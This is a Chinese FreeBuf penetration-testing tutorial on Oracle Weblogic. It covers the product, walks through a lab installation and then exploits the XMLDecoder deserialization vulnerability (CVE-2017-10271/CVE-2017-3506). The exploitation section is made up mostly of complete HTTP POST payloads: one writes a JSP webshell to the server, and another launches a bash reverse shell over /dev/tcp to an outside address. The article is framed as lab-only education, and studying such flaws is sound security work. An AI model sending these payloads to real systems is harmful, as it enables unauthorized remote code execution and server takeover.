freeBuf
主站

分类

漏洞 工具 极客 Web安全 系统安全 网络安全 无线安全 设备/客户端安全 数据安全 安全管理 企业安全 工控安全

特色

头条 人物志 活动 视频 观点 招聘 报告 资讯 区块链安全 标准与合规 容器安全 公开课

官方公众号企业安全新浪微博

FreeBuf.COM网络安全行业门户,每日发布专业的安全资讯、技术剖析。

FreeBuf+小程序

FreeBuf+小程序

渗透测试之地基服务篇:服务攻防之中间件Weblogic(上)
2021-09-06 13:45:51

系列文章

专辑:渗透测试之地基篇

简介

渗透测试-地基篇

该篇章目的是重新牢固地基,加强每日训练操作的笔记,在记录地基笔记中会有很多跳跃性思维的操作和方式方法,望大家能共同加油学到东西。

请注意

本文仅用于技术讨论与研究,对于所有笔记中复现的这些终端或者服务器,都是自行搭建的环境进行渗透的。我将使用Kali Linux作为此次学习的攻击者机器。这里使用的技术仅用于学习教育目的,如果列出的技术用于其他任何目标,本站及作者概不负责。

名言:

你对这行的兴趣,决定你在这行的成就!

一、前言

中间件是介于应用系统和系统软件之间的一类软件,它使用系统软件所提供的基础服务(功能),衔接网络上应用系统的各个部分或不同的应用,能够达到资源共享、功能共享的目的。

可想而知中间件连接着网络和系统接触着越来越多的关键数据,渐渐成为单位公共安全中最具有战略性的资产,中间件的安全稳定运行也直接决定着业务系统能否正常使用。并且平台的中间件中往往连接数据库,而数据库储存着等极其重要和敏感的信息。如果中间件被攻破,这些信息一旦被篡改或者泄露,轻则造成企业经济损失,重则影响企业形象,甚至行业、社会安全。可见,数据库安全至关重要。所以对数据库的保护是一项必须的,关键的,重要的工作任务。

通过前几期钓鱼、内网攻防篇章落幕后,引来了服务攻防篇章之数据库渗透篇,不管在外网还是内网环境,只要存在业务系统都存在数据库,在渗透测试对数据库的知识学习是必不可少的,接下来将介绍数据库的渗透基本操作,带小伙伴们了解和学习数据库如何渗透的!

今天会讲解到学习Weblogic简介、Weblogic详细安装、XMLDecoder 反序列化漏洞(CVE-2017-10271 & CVE-2017-3506)、wls-wsat反序列化远程代码执行漏洞(CVE-2019-2725)、WLS Core Components 反序列化命令执行漏洞(CVE-2018-2628)漏洞等渗透操作等,最后远程代码执行控制服务器等操作,如果连Weblogic都不会安装操作提权等,怎么进行下一步的研究Weblogic安全!怎么拿下对方服务器?

二、Weblogic简介

Weblogic是美国Oracle公司出品的一个应用服务器(application server),确切的说是一个基于Java EE架构的中间件,是用于开发、集成、部署和管理大型分布式Web应用、网络应用和 数据库应用的Java应用服务器。

Weblogic将Java的动态功能和Java Enterprise标准的安全性引入大型网络应用的开发、集成、部署和管理之中,是商业市场上主要的Java(Java EE)应用服务器软件之一,也是世界上第一个成功商业化的Java EE应用服务器,具有可扩展性、快速开发、灵活、可靠等优势。

在功能性上,Weblogic是Java EE的全能应用服务器,包括EJB 、JSP、servlet、JMS等,是商业软件里排名第一的容器(JSP、servlet、EJB等),并提供其他工具(例如Java编辑器),因此也是一个综合的开发及运行环境。

在扩展性上,Weblogic Server凭借其出色的群集技术,拥有处理关键Web应用系统问题所需的性能、可扩展性和高可用性。Weblogic Server既实现了网页群集,也实现了EJB组件群集,而且不需要任何专门的硬件或操作系统支持。网页群集可以实现透明的复制、负载平衡以及表示内容容错。无论是网页群集,还是组件群集,对于电子商务解决方案所要求的可扩展性和可用性都是至关重要的。

默认端口:7001

目前全球较为活跃的版本:

Weblogic 10.3.6.0
Weblogic 12.1.3.0
Weblogic 12.2.1.1
Weblogic 12.2.1.2
Weblogic 12.2.1.3

三、Weblogic安装

下载地址:

https://www.oracle.com/middleware/technologies/weblogic-server-installers-downloads.html

**注意:**weblogic最新的版本需要jdk1.8以上,如果jdk1.7或者以下,可能会出现安装不了的情况,亲测12.1.3,在jdk为1.7的版本可以安装,jdk1.6的话应该只能用10.3.6及以下!

1、WebLogic Server 10.3.6详细安装

1)去Oracle官网下载Weblogic 10.3.6,选择Generic版本,各版本选择下载地址上面已经提供过!

1630907209_6135ab493ea398916f127.png!small?1630907211117

2)双击启动安装
1630907223_6135ab5772f55c23b7d77.png!small?1630907223700

3)直接点击下一步!
1630907227_6135ab5bc689953b67d7b.png!small?1630907228384

4)选择“创建新的中间件主目录”,选择中间件主目录,建议除C盘外的盘符,避免占用系统盘空间,点击“下一步”,(这里是虚拟机,只有一个C盘)
1630907231_6135ab5f4e4fadb88aed6.png!small?1630907231540

C:\Oracle\Middleware

5)默认下一步
1630907234_6135ab62e24b534bff8ca.png!small?1630907235639

6)如果弹出连接失败,选择我希望不接收。。。。点击继续
1630907238_6135ab665da50c4e0a3b1.png!small?1630907238609

7)默认选择“典型”安装,点击下一步
1630907241_6135ab698d7f186f89778.png!small?1630907242057

8)选择jdk目录,默认产品安装目录,点击“下一步”
一般默认!
1630907245_6135ab6d00b1ca175b81a.png!small?1630907245403

9)默认选择所有用户,下一步

1630907249_6135ab717afb4f5c19181.png!small?1630907250007

10)安装概要,下一步
1630907253_6135ab7549f735f39b10d.png!small?1630907253903

11)开始安装,等待即可
1630907257_6135ab799d78fa327ba34.png!small?1630907258257

12)如果需要直接创建weblogic域,选择“运行Quickstart”,点击“完成”按钮,进入快速启动页面;如果想要稍后再进行创建,取消“运行Quickstart”,点击“完成”按钮,安装完成

1630907261_6135ab7d6358786fa001d.png!small?1630907261654

13)点击“Ggetting started with WebLogic Server”,进入Fusion Middleware配置向导

1630907265_6135ab811024eaf8fea92.png!small?1630907265375

14)选择创建新的weblogic域
1630907268_6135ab84d499b1d9d636b.png!small?1630907269640

15)直接进入下一步

1630907272_6135ab88648c56f3de4b7.png!small?1630907272807

16)输入域的名称和位置,直接默认即可,点击“下一步”

1630907280_6135ab901e6aa2d7836c4.png!small?1630907280397
默认情况:

base_domain
C:\Oracle\Middleware\user_projects\domains

17)配置管理员用户名、密码,之后启动weblogic和登陆控制台需要用到,输入后点击“下一步”

用户名默认:weblogic

1630907285_6135ab9529f218e465eaa.png!small?1630907286164

18)选择“生产模式”、JDK最好选择Weblogic自带jdk,点击“下一步”

1630907288_6135ab98c73b9bb619d83.png!small?1630907289144

19)选择“管理服务器”、“受管服务器、集群和计算机”,点击“下一步”

1630907292_6135ab9c33f22c14a48d8.png!small?1630907292703

20)名称默认即可,选择本地监听地址(本机IP地址)端口号默认7001,点击“下一步”

1630907295_6135ab9fa906a54dfa511.png!small?1630907296258

21)无需配置受管服务器,直接点击“下一步”

1630907299_6135aba35f9d379e2a0fa.png!small?1630907299796

22)无需配置集群,直接点击下一步
1630907302_6135aba6c5ca725a6f92e.png!small?1630907303382

23)无需配置计算机,直接点击下一步
1630907306_6135abaa6f1fd40bc9db1.png!small?1630907306690

24)开始创建
1630907310_6135abae3c4e6855db55a.png!small?1630907310919

25)创建域完成,点击完成

1630907313_6135abb1ecbe693f469b3.png!small?1630907314507

2、weblogic配置

1)进入“C:\Oracle\Middleware\user_projects\domains\base_domain”,双击“startWebLogic.cmd”,启动weblogic

1630907319_6135abb7a1acea2bc8bf5.png!small?1630907321423

2)输入刚才设置weblogic用户名和密码
1630907323_6135abbb53ffce3c903e4.png!small?1630907324322

weblogic
dayu123!

3)打开浏览器输入控制台url,进入控制台进行管理
http://192.168.253.94:7001/console/

1630907327_6135abbfae946e21e8ac3.png!small?1630907331684

四、weblogic渗透总结

1、XMLDecoder 反序列化漏洞(CVE-2017-10271 & CVE-2017-3506)

Weblogic的WLS Security组件对外提供webservice服务,其中使用了XMLDecoder来解析用户传入的XML数据,在解析的过程中出现反序列化漏洞,导致可执行任意命令。

1)验证漏洞

访问 /wls-wsat/CoordinatorPortType,返回如下页面,则可能存在此漏洞:
1630907332_6135abc4d81266dbc5f47.png!small?1630907334309

漏洞不仅存在于 /wls-wsat/CoordinatorPortType,只要是在wls-wsat包中的Uri皆受到影响,可以查看web.xml得知所有受到影响的Uri,路径为:

C:\Oracle\Middleware\user_projects\domains\base_domain\servers\AdminServer\tmp\_WL_internal\wls-wsat\54p17w\war\WEB-INF\web.xml

1630907338_6135abca725ea43d757f9.png!small?1630907340554
默认受到影响的Uri如下:

/wls-wsat/CoordinatorPortType
/wls-wsat/RegistrationPortTypeRPC
/wls-wsat/ParticipantPortType
/wls-wsat/RegistrationRequesterPortType
/wls-wsat/CoordinatorPortType11
/wls-wsat/RegistrationPortTypeRPC11
/wls-wsat/ParticipantPortType11
/wls-wsat/RegistrationRequesterPortType11

2)构造数据包

构造写入文件数据包发送,其中Content-Type需要等于text/xml,否则可能导致XMLDecoder不解析。

poc:

POST /wls-wsat/CoordinatorPortType HTTP/1.1
Host: 192.168.253.94:7001
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: text/xml
Content-Length: 642

<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/">
    <soapenv:Header>
    <work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
    <java><java version="1.4.0" class="java.beans.XMLDecoder">
    <object class="java.io.PrintWriter"> 
    <string>servers/AdminServer/tmp/_WL_internal/bea_wls_internal/9j4dqk/war/dayu.jsp</string>
    <void method="println">
<string>
    <![CDATA[
<% out.print("dayu hello"); %>
    ]]>
    </string>
    </void>
    <void method="close"/>
    </object></java></java>
    </work:WorkContext>
    </soapenv:Header>
    <soapenv:Body/>
</soapenv:Envelope>

1630907350_6135abd66469df3eeb04e.png!small?1630907354077

3)验证webshell

1630907353_6135abd9b21531164ca3f.png!small?1630907354078

http://192.168.253.94:7001/bea_wls_internal/dayu.jsp

不熟悉JAVA的小伙伴们可能会对这个构造的XML有所疑惑,可参考:

https://docs.oracle.com/javase/tutorial/javabeans/advanced/longpersistence.htm

4)实战Linux反弹shell

POST /wls-wsat/CoordinatorPortType HTTP/1.1
Host: your-ip:7001
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: text/xml
Content-Length: 633

<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/"> <soapenv:Header>
<work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
<java version="1.4.0" class="java.beans.XMLDecoder">
<void class="java.lang.ProcessBuilder">
<array class="java.lang.String" length="3">
<void index="0">
<string>/bin/bash</string>
</void>
<void index="1">
<string>-c</string>
</void>
<void index="2">
<string>bash -i &gt;&amp; /dev/tcp/10.0.0.1/21 0&gt;&amp;1</string>
</void>
</array>
<void method="start"/></void>
</java>
</work:WorkContext>
</soapenv:Header>
<soapenv:Body/>
</soapenv:Envelope>

成功获取shell:

本文作者:, 转载请注明来自FreeBuf.COM

# 渗透测试
被以下专辑收录,发现更多精彩内容
+ 收入我的专辑
评论 按热度排序

登录/注册后在FreeBuf发布内容哦

相关推荐
\
  • 0 文章数
  • 0 评论数
  • 0 关注者
文章目录
登录 / 注册后在FreeBuf发布内容哦
收入专辑